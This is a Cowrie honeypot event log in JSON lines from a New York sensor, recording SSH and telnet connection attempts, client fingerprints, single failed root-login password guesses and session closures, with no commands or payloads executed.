{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:03.739528Z","src_ip":"80.94.92.184","session":"6681b4281b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:04.394144Z","src_ip":"80.94.92.184","session":"6681b4281b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:05.838382Z","src_ip":"80.94.92.184","session":"6681b4281b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34054,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b6048eaf12","protocol":"telnet","message":"New connection: 152.42.224.71:34054 (10.17.0.5:23) [session: 04b6048eaf12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:22.402436Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33946,"dst_ip":"159.203.135.109","dst_port":22,"session":"f97165926242","protocol":"ssh","message":"New connection: 51.250.105.222:33946 (159.203.135.109:22) [session: f97165926242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:48.981688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:48.986059Z","src_ip":"51.250.105.222","session":"f97165926242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.74.45.4","src_port":54372,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f934089feb8","protocol":"telnet","message":"New connection: 72.74.45.4:54372 (10.17.0.5:23) [session: 1f934089feb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:49.072757Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:49.112583Z","src_ip":"51.250.105.222","session":"f97165926242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfytxrf","message":"login attempt [root/dfytxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:49.487956Z","src_ip":"51.250.105.222","session":"f97165926242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:14:50.615763Z","src_ip":"51.250.105.222","session":"f97165926242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":39252,"dst_ip":"10.17.0.5","dst_port":22,"session":"533dfedb0ec5","protocol":"ssh","message":"New connection: 109.237.96.109:39252 (10.17.0.5:22) [session: 533dfedb0ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:17.528898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:17.533950Z","src_ip":"109.237.96.109","session":"533dfedb0ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:17.623065Z","src_ip":"109.237.96.109","session":"533dfedb0ec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:17.987242Z","src_ip":"109.237.96.109","session":"533dfedb0ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:19.083068Z","src_ip":"109.237.96.109","session":"533dfedb0ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33868,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cb4281c1a44","protocol":"ssh","message":"New connection: 62.133.62.83:33868 (10.17.0.5:22) [session: 9cb4281c1a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:24.861247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:24.865997Z","src_ip":"62.133.62.83","session":"9cb4281c1a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:24.945052Z","src_ip":"62.133.62.83","session":"9cb4281c1a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:25.186980Z","src_ip":"62.133.62.83","session":"9cb4281c1a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:26.268811Z","src_ip":"62.133.62.83","session":"9cb4281c1a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55918,"dst_ip":"159.203.135.109","dst_port":22,"session":"0be0a844e23e","protocol":"ssh","message":"New connection: 37.233.85.71:55918 (159.203.135.109:22) [session: 0be0a844e23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:42.207079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:42.211670Z","src_ip":"37.233.85.71","session":"0be0a844e23e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:42.316338Z","src_ip":"37.233.85.71","session":"0be0a844e23e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1986","message":"login attempt [root/1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:42.617381Z","src_ip":"37.233.85.71","session":"0be0a844e23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:43.720992Z","src_ip":"37.233.85.71","session":"0be0a844e23e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59252,"dst_ip":"159.203.135.109","dst_port":22,"session":"23db4020f80b","protocol":"ssh","message":"New connection: 103.176.20.57:59252 (159.203.135.109:22) [session: 23db4020f80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:50.970064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:50.974188Z","src_ip":"103.176.20.57","session":"23db4020f80b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:51.220042Z","src_ip":"103.176.20.57","session":"23db4020f80b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369852","message":"login attempt [root/369852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:51.953349Z","src_ip":"103.176.20.57","session":"23db4020f80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:53.202927Z","src_ip":"103.176.20.57","session":"23db4020f80b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":54578,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d6dd57e5903","protocol":"ssh","message":"New connection: 103.27.238.120:54578 (159.203.135.109:22) [session: 5d6dd57e5903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:57.230091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:57.235292Z","src_ip":"103.27.238.120","session":"5d6dd57e5903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:57.508592Z","src_ip":"103.27.238.120","session":"5d6dd57e5903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12211221","message":"login attempt [root/12211221] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:58.331770Z","src_ip":"103.27.238.120","session":"5d6dd57e5903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:15:59.602619Z","src_ip":"103.27.238.120","session":"5d6dd57e5903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.71316361427307,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:16:03.115518Z","src_ip":"152.42.224.71","session":"04b6048eaf12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.43.110.27","src_port":38385,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d2c35ec9df","protocol":"telnet","message":"New connection: 179.43.110.27:38385 (159.203.135.109:23) [session: d5d2c35ec9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:16:18.323935Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":49822,"dst_ip":"10.17.0.5","dst_port":23,"session":"39dac3461aca","protocol":"telnet","message":"New connection: 49.88.156.34:49822 (10.17.0.5:23) [session: 39dac3461aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:16:20.068302Z"}
{"eventid":"cowrie.session.closed","duration":13.481301546096802,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:16:31.805139Z","src_ip":"179.43.110.27","session":"d5d2c35ec9df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00169491767883,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:16:49.074277Z","src_ip":"72.74.45.4","session":"1f934089feb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.74.45.4","src_port":54489,"dst_ip":"10.17.0.5","dst_port":23,"session":"309c5fd020c8","protocol":"telnet","message":"New connection: 72.74.45.4:54489 (10.17.0.5:23) [session: 309c5fd020c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:16:49.147022Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36632,"dst_ip":"10.17.0.5","dst_port":22,"session":"76f2b865c33f","protocol":"ssh","message":"New connection: 80.94.92.184:36632 (10.17.0.5:22) [session: 76f2b865c33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:02.315211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:02.544330Z","src_ip":"80.94.92.184","session":"76f2b865c33f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:02.549814Z","src_ip":"80.94.92.184","session":"76f2b865c33f","protocol":"ssh"}
